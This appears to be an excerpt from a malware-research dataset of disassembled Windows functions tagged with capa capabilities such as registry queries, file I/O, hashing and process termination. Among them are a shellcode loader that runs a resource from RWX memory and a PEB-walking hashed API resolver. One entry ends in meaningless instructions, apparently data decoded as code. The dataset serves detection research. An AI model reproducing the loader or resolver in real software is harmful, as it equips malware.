joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14012ba90
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x68], rax
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
movaps xmmword [rbp - 0x50], xmm4
mov qword [rbp + 0x10], rcx
mov ebx, edx
mov rdi, r8
mov rsi, r9
mov r14, qword [rbp + 0x38]
mov r15, qword [rbp + 0x40]
mov r12, qword [rbp + 0x48]
xor edx, edx
mov dword [rbp - 0x40], edx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.140107c70
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rcx + 8]
test rdi, rdi
jne 0x14012baf6
xor r8d, r8d
jmp 0x14012bafa
lea r8, [rdi + 0x10]
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x50], rsi
mov r9, rsi
test r14, r14
jne 0x14012bb0e
xor eax, eax
jmp 0x14012bb12
lea rax, [r14 + 0x10]
mov qword [rbp - 0x58], rax
test r15, r15
jne 0x14012bb20
xor r10d, r10d
jmp 0x14012bb24
lea r10, [r15 + 0x10]
mov qword [rbp - 0x60], r10
test r12, r12
jne 0x14012bb32
xor r11d, r11d
jmp 0x14012bb37
lea r11, [r12 + 0x10]
mov qword [rbp - 0x68], r11
mov rsi, qword [rbp + 0x30]
mov rcx, rdx
mov qword [rbp - 0x74], rcx
mov edx, ebx
mov dword [rbp - 0x6c], edx
mov qword [rbp - 0x7c], r8
mov qword [rbp - 0x84], r9
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x38], r11
lea rcx, [rbp - 0xb0]
call fcn.1400044d0
mov rcx, qword [rbp - 0x74]
mov edx, dword [rbp - 0x6c]
mov r8, qword [rbp - 0x7c]
mov r9, qword [rbp - 0x84]
call sub.ADVAPI32.dll_RegEnumValueW
mov esi, eax
lea rcx, [rbp - 0xb0]
call fcn.140004520
nop
xor ecx, ecx
mov qword [rbp - 0x68], rcx
xor ecx, ecx
mov qword [rbp - 0x60], rcx
xor ecx, ecx
mov qword [rbp - 0x58], rcx
xor ecx, ecx
mov qword [rbp - 0x50], rcx
xor ecx, ecx
mov qword [rbp - 0x48], rcx
cmp byte [rbp - 0x40], 0
je 0x14012bbcb
mov rcx, qword [rbp + 0x10]
xor edx, edx
call fcn.140107d00
mov eax, esi
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x14012be90
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xor eax, eax
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x10], rcx
mov rsi, rdx
mov rdi, r8
mov rbx, r9
xor edx, edx
mov dword [rbp - 0x40], edx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.140107c70
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rcx + 8]
test rsi, rsi
je 0x14012bee1
add rsi, 0xc
jmp 0x14012bee3
xor esi, esi
mov qword [rbp - 0x48], rsi
mov r14, qword [rbp + 0x30]
mov qword [rsp + 0x20], r14
mov r14, qword [rbp + 0x38]
mov qword [rsp + 0x28], r14
mov rcx, rdx
mov qword [rbp - 0x50], rcx
mov rdx, rsi
mov qword [rbp - 0x58], rdx
mov r8, rdi
mov qword [rbp - 0x60], r8
mov r9, rbx
mov qword [rbp - 0x68], r9
lea rcx, [rbp - 0x90]
call fcn.1400044d0
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x60]
mov r9, qword [rbp - 0x68]
call sub.ADVAPI32.dll_RegQueryValueExW
mov esi, eax
lea rcx, [rbp - 0x90]
call fcn.140004520
nop
xor ecx, ecx
mov qword [rbp - 0x48], rcx
cmp byte [rbp - 0x40], 0
je 0x14012bf5c
mov rcx, qword [rbp + 0x10]
xor edx, edx
call fcn.140107d00
mov eax, esi
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1401380e0
Capabilities:
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rcx
mov rdi, rdx
mov ebx, r8d
mov qword [rbp - 0x40], r9
mov r14, r9
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov qword [rbp - 0x4c], rcx
mov rdx, rdi
mov qword [rbp - 0x54], rdx
mov r8d, ebx
mov dword [rbp - 0x44], r8d
mov r9, r14
mov qword [rbp - 0x5c], r9
lea rcx, [rbp - 0x88]
call fcn.1400044d0
mov rcx, qword [rbp - 0x4c]
mov rdx, qword [rbp - 0x54]
mov r8d, dword [rbp - 0x44]
mov r9, qword [rbp - 0x5c]
call sub.KERNEL32.dll_ReadFile
mov esi, eax
lea rcx, [rbp - 0x88]
call fcn.140004520
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor eax, eax
mov qword [rbp - 0x40], rax
call fcn.140002937
mov dword [rax + 8], edi
mov eax, esi
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140138260
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rcx
mov rdi, rdx
mov ebx, r8d
mov qword [rbp - 0x40], r9
mov r14, r9
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov qword [rbp - 0x4c], rcx
mov rdx, rdi
mov qword [rbp - 0x54], rdx
mov r8d, ebx
mov dword [rbp - 0x44], r8d
mov r9, r14
mov qword [rbp - 0x5c], r9
lea rcx, [rbp - 0x88]
call fcn.1400044d0
mov rcx, qword [rbp - 0x4c]
mov rdx, qword [rbp - 0x54]
mov r8d, dword [rbp - 0x44]
mov r9, qword [rbp - 0x5c]
call sub.KERNEL32.dll_WriteFile
mov esi, eax
lea rcx, [rbp - 0x88]
call fcn.140004520
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor eax, eax
mov qword [rbp - 0x40], rax
call fcn.140002937
mov dword [rax + 8], edi
mov eax, esi
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14016c190
Capabilities:
Hash data using murmur3

Disassembly:
xor eax, eax
mov r8d, dword [rdx + 8]
test r8d, r8d
jle 0x14016c1ce
mov r9d, eax
lea r9, [rdx + r9*8 + 0x10]
mov r9, qword [r9]
mov r10, r9
test r10, r10
jne 0x14016c1b3
xor r10d, r10d
jmp 0x14016c1b7
mov r10d, dword [r9 + 0x14]
mov r9d, ecx
rol r9d, 0xd
add r9d, ecx
mov ecx, r9d
xor ecx, r10d
inc eax
cmp r8d, eax
jg 0x14016c19b
mov eax, ecx
rol eax, 0xf
add eax, ecx
ret

Function at 0x14016e450
Capabilities:
Hash data using murmur3

Disassembly:
push rdi
push rsi
sub rsp, 0x28
mov esi, ecx
mov edi, edx
call fcn.1400010ee
mov eax, dword [rax]
add eax, 0x165667b1
add eax, 8
imul edx, esi, 0xc2b2ae3d
add edx, eax
rol edx, 0x11
imul eax, edx, 0x27d4eb2f
imul edx, edi, 0xc2b2ae3d
add edx, eax
rol edx, 0x11
imul eax, edx, 0x27d4eb2f
mov edx, eax
shr edx, 0xf
xor eax, edx
imul eax, eax, 0x85ebca77
mov edx, eax
shr edx, 0xd
xor eax, edx
imul eax, eax, 0xc2b2ae3d
mov edx, eax
shr edx, 0x10
xor eax, edx
add rsp, 0x28
pop rsi
pop rdi
ret

Function at 0x14016fb50
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
xor ebx, ebx
mov ebp, dword [rsi + 8]
test ebp, ebp
jle 0x14016fb84
mov ecx, ebx
mov rcx, qword [rsi + rcx*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov edx, edi
rol edx, 0xd
add edx, edi
mov edi, eax
xor edi, edx
inc ebx
cmp ebp, ebx
jg 0x14016fb66
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret

Function at 0x14016fba0
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
xor ebx, ebx
mov ebp, dword [rsi + 8]
test ebp, ebp
jle 0x14016fbd4
mov ecx, ebx
mov rcx, qword [rsi + rcx*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov edx, edi
rol edx, 0xd
add edx, edi
mov edi, eax
xor edi, edx
inc ebx
cmp ebp, ebx
jg 0x14016fbb6
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret
Function at 0x14008c48c
Capabilities:
Terminate process

Disassembly:
jmp 0x14019e3a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14008c9be
Capabilities:
Parse pe header

Disassembly:
jmp 0x1401a1400
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1401a1420
xor al, al
jmp 0x1401a14a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1401a1433
xor al, al
jmp 0x1401a14a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1401a145d
xor al, al
jmp 0x1401a14a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1401a1471
xor al, al
jmp 0x1401a14a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1401a1483
xor al, al
jmp 0x1401a14a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1401a149f
xor al, al
jmp 0x1401a14a1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea r8, str.shellcode_bin
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000196c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019b8
xor al, al
add rsp, 0x28
ret
Function at 0x1400064ec
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006310
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
push r9
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
add rax, rdx
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140004884
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012b50
mov r15, qword [0x140020514]
cmp r15, 1
jne 0x140004953
push qword [0x140020604]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x1400048e9
mov rcx, qword [0x140020604]
call fcn.14000dd0c
mov rcx, qword [0x140020604]
call fcn.14000dd20
or rax, rax
je 0x1400048e9
mov rbp, qword [0x14002060c]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x1400048c6
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004953
push 5
push 0
push 1
push qword [0x1400205f4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x140004953
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x140004930
mov rax, 1
jmp 0x14000495f
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006b38
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cwde
sub dword [rsi - 0x6b805cd7], ebp
xchg esp, eax
xchg esp, eax
jecxz 0x14003f6d5
xor dh, byte [rdi - 0xba808ca]
mov edi, 0xf4f4c656
sbb byte [rax], al
xor qword [0x19f7db2f5], rax
fnstcw word [rcx]
jmp 0x14003f71a
pop rbp
xchg edi, eax
add byte [rbx + rbp - 0x48], dl
mov dh, 0x13
fucompi st(6)
fdiv dword [rsi - 0x2ea3ce30]
imul ebp, dword [rdi + 0x628ab627], 0x82b77c21
invalid
and dword [rdi + rsi*4 - 0x7e], edi
or bh, byte [rsp + rsi + 0x394eea14]
invalid
lea esi, [rdx - 0x30]
js 0x14003f678
nop
pop rsp
xchg ebx, eax
and byte [rbp - 0x46bdd840], dh
add ebx, dword [rdx + rax*4]
invalid
invalid
cmp dword [rsi - 0x45df2872], ecx
cld
xchg dword [rdi], esp
push rcx
xor eax, 0x7e516aee
xchg esi, eax
push rbp
pop rdx
cdq
mov ebp, dword [rdx]
fcompi st(3)
invalid
out 0x1c, al
inc dword [rcx]
add al, byte [rbx - 0x75]
mov ecx, 0x91e406e7
mov edi, dword [r9 - 0x6e1bf919]
invalid
Function at 0x1401450af
Capabilities:
Get hostname

Disassembly:
jmp 0x140249520
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov byte [rcx + rax], 0
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostname]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x48]
dec eax
cdqe
mov rcx, qword [rsp + 0x40]
mov byte [rcx + rax], 0
cmp dword [rsp + 0x20], 0
je 0x140249571
mov eax, dword [rsp + 0x20]
jmp 0x140249597
mov edx, reloc.WLDAP32.dll_Ordinal_46
mov rcx, qword [rsp + 0x40]
call fcn.14014555f
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140249595
mov rax, qword [rsp + 0x28]
mov byte [rax], 0
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x140145c4e
Capabilities:
Create process on windows

Disassembly:
jmp 0x140168320
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rcx, [0x14049923c]
call fcn.14014bbf3
mov rax, qword [0x140463020]
mov qword [rbp + 0x178], rax
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x128], rax
lea rdx, [0x140477f10]
mov rcx, qword [rbp + 0x128]
call fcn.140145dd4
mov qword [rbp + 0x180], rax
mov rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x148]
call fcn.14014908d
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x198], rax
mov rdx, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x198]
call fcn.140147b25
movzx eax, al
test eax, eax
jne 0x1401683cd
mov dword [rbp + 0x1a0], 1
jmp 0x1401683d7
mov dword [rbp + 0x1a0], 0
movzx eax, byte [rbp + 0x1a0]
mov byte [rbp + 0xc4], al
lea rcx, [rbp + 0x148]
call fcn.1401463bf
movzx eax, byte [rbp + 0xc4]
test eax, eax
je 0x140168443
xor r9d, r9d
lea r8, str.MESSAGE
lea rdx, [0x1403ee4c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.https:__discord.gg_yefZEXs4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 1
call fcn.1401457ad
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret

Function at 0x140146284
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x14027cc30
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x14027cc58
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x14027cca2
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14027cc4d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x1401464af
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14023f8f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
lea rdi, [rsp + 0x20]
mov ecx, 8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x50]
cmp dword [rsp + 0x58], 0
je 0x14023f925
mov dword [rsp + 0x34], 1
jmp 0x14023f92d
mov dword [rsp + 0x34], 0
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_accept
call fcn.14014a8e8
mov rax, rdi
add rsp, 0x40
pop rdi
ret

Function at 0x140146ab3
Capabilities:
Delete file

Disassembly:
jmp 0x1403c7000
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1403c702c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140146f90
mov eax, 0xffffffff
jmp 0x1403c702e
xor eax, eax
add rsp, 0x28
ret
Function at 0x140147175
Capabilities:
Move file

Disassembly:
jmp 0x1401dd3f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xd8
lea rdi, [rsp + 0x20]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf0]
mov rax, qword [0x1404755e8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x20], 0x3e8
lea rcx, [rsp + 0x78]
call fcn.14014b144
lea rcx, [rsp + 0x38]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0xf0]
call fcn.14014b950
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0xf8]
call fcn.14014b950
mov qword [rsp + 0x60], rax
mov r8d, 1
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x1401dd4d7
cmp qword [rsp + 0x58], 0
je 0x1401dd4ab
mov rcx, qword [rsp + 0x58]
call fcn.14014765c
mov qword [rsp + 0x58], 0
xor eax, eax
test eax, eax
jne 0x1401dd490
cmp qword [rsp + 0x60], 0
je 0x1401dd4cc
mov rcx, qword [rsp + 0x60]
call fcn.14014765c
mov qword [rsp + 0x60], 0
xor eax, eax
test eax, eax
jne 0x1401dd4b1
jmp 0x1401dd59a
lea rax, [rsp + 0xb0]
lea rcx, [rsp + 0x38]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x88]
call fcn.14014b144
lea rcx, [rsp + 0xa0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xa0]
call fcn.14014c337
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jl 0x1401dd541
movsxd rax, dword [rsp + 0x20]
cmp qword [rsp + 0x68], rax
jle 0x1401dd58a
cmp qword [rsp + 0x58], 0
je 0x1401dd55c
mov rcx, qword [rsp + 0x58]
call fcn.14014765c
mov qword [rsp + 0x58], 0
xor eax, eax
test eax, eax
jne 0x1401dd541
cmp qword [rsp + 0x60], 0
je 0x1401dd57d
mov rcx, qword [rsp + 0x60]
call fcn.14014765c
mov qword [rsp + 0x60], 0
xor eax, eax
test eax, eax
jne 0x1401dd562
mov eax, 1
jmp 0x1401dd59c
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1401dd476
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_accept
call fcn.14014a8e8
mov rax, rdi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140148417
add rsp, 0xd8
pop rdi
pop rsi
ret

Function at 0x14014807a
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1402f4ee0
mov rax, rcx
neg rcx
test rax, 7
je 0x1402f4efd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1402f4f58
test al, 7
jne 0x1402f4ef0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1402f4f11
mov rdx, qword [rax - 8]
test dl, dl
je 0x1402f4f82
test dh, dh
je 0x1402f4f7c
shr rdx, 0x10
test dl, dl
je 0x1402f4f76
test dh, dh
je 0x1402f4f70
shr rdx, 0x10
test dl, dl
je 0x1402f4f6a
test dh, dh
je 0x1402f4f64
shr edx, 0x10
test dl, dl
je 0x1402f4f5e
test dh, dh
jne 0x1402f4f11
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x1401480bb
Capabilities:
Query environment variable

Disassembly:
jmp 0x1403bc5c0
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1403bc140
lea rcx, [rsp + 0x20]
call fcn.1403bc190
movzx eax, al
test eax, eax
jne 0x1403bc605
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.1403bc170
mov rax, qword [rsp + 0x40]
jmp 0x1403bc6ff
lea rcx, [rsp + 0x20]
call fcn.1403bc290
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.1403bc230
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.140148548
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.14014784b
lea rcx, [rsp + 0x28]
call fcn.140148b38
movzx eax, al
test eax, eax
jne 0x1403bc69f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.14014a609
lea rcx, [rsp + 0x20]
call fcn.1403bc170
mov rax, qword [rsp + 0x50]
jmp 0x1403bc6ff
lea rcx, [rsp + 0x20]
call fcn.1403bc290
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.14014bab3
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.14014844e
lea rcx, [rsp + 0x28]
call fcn.14014c6f2
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.14014a609
lea rcx, [rsp + 0x20]
call fcn.1403bc170
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret

Function at 0x14014818d
Capabilities:
Check internet connectivity via wininet

Disassembly:
jmp 0x140167d30
push rbp
push rdi
sub rsp, 0x108
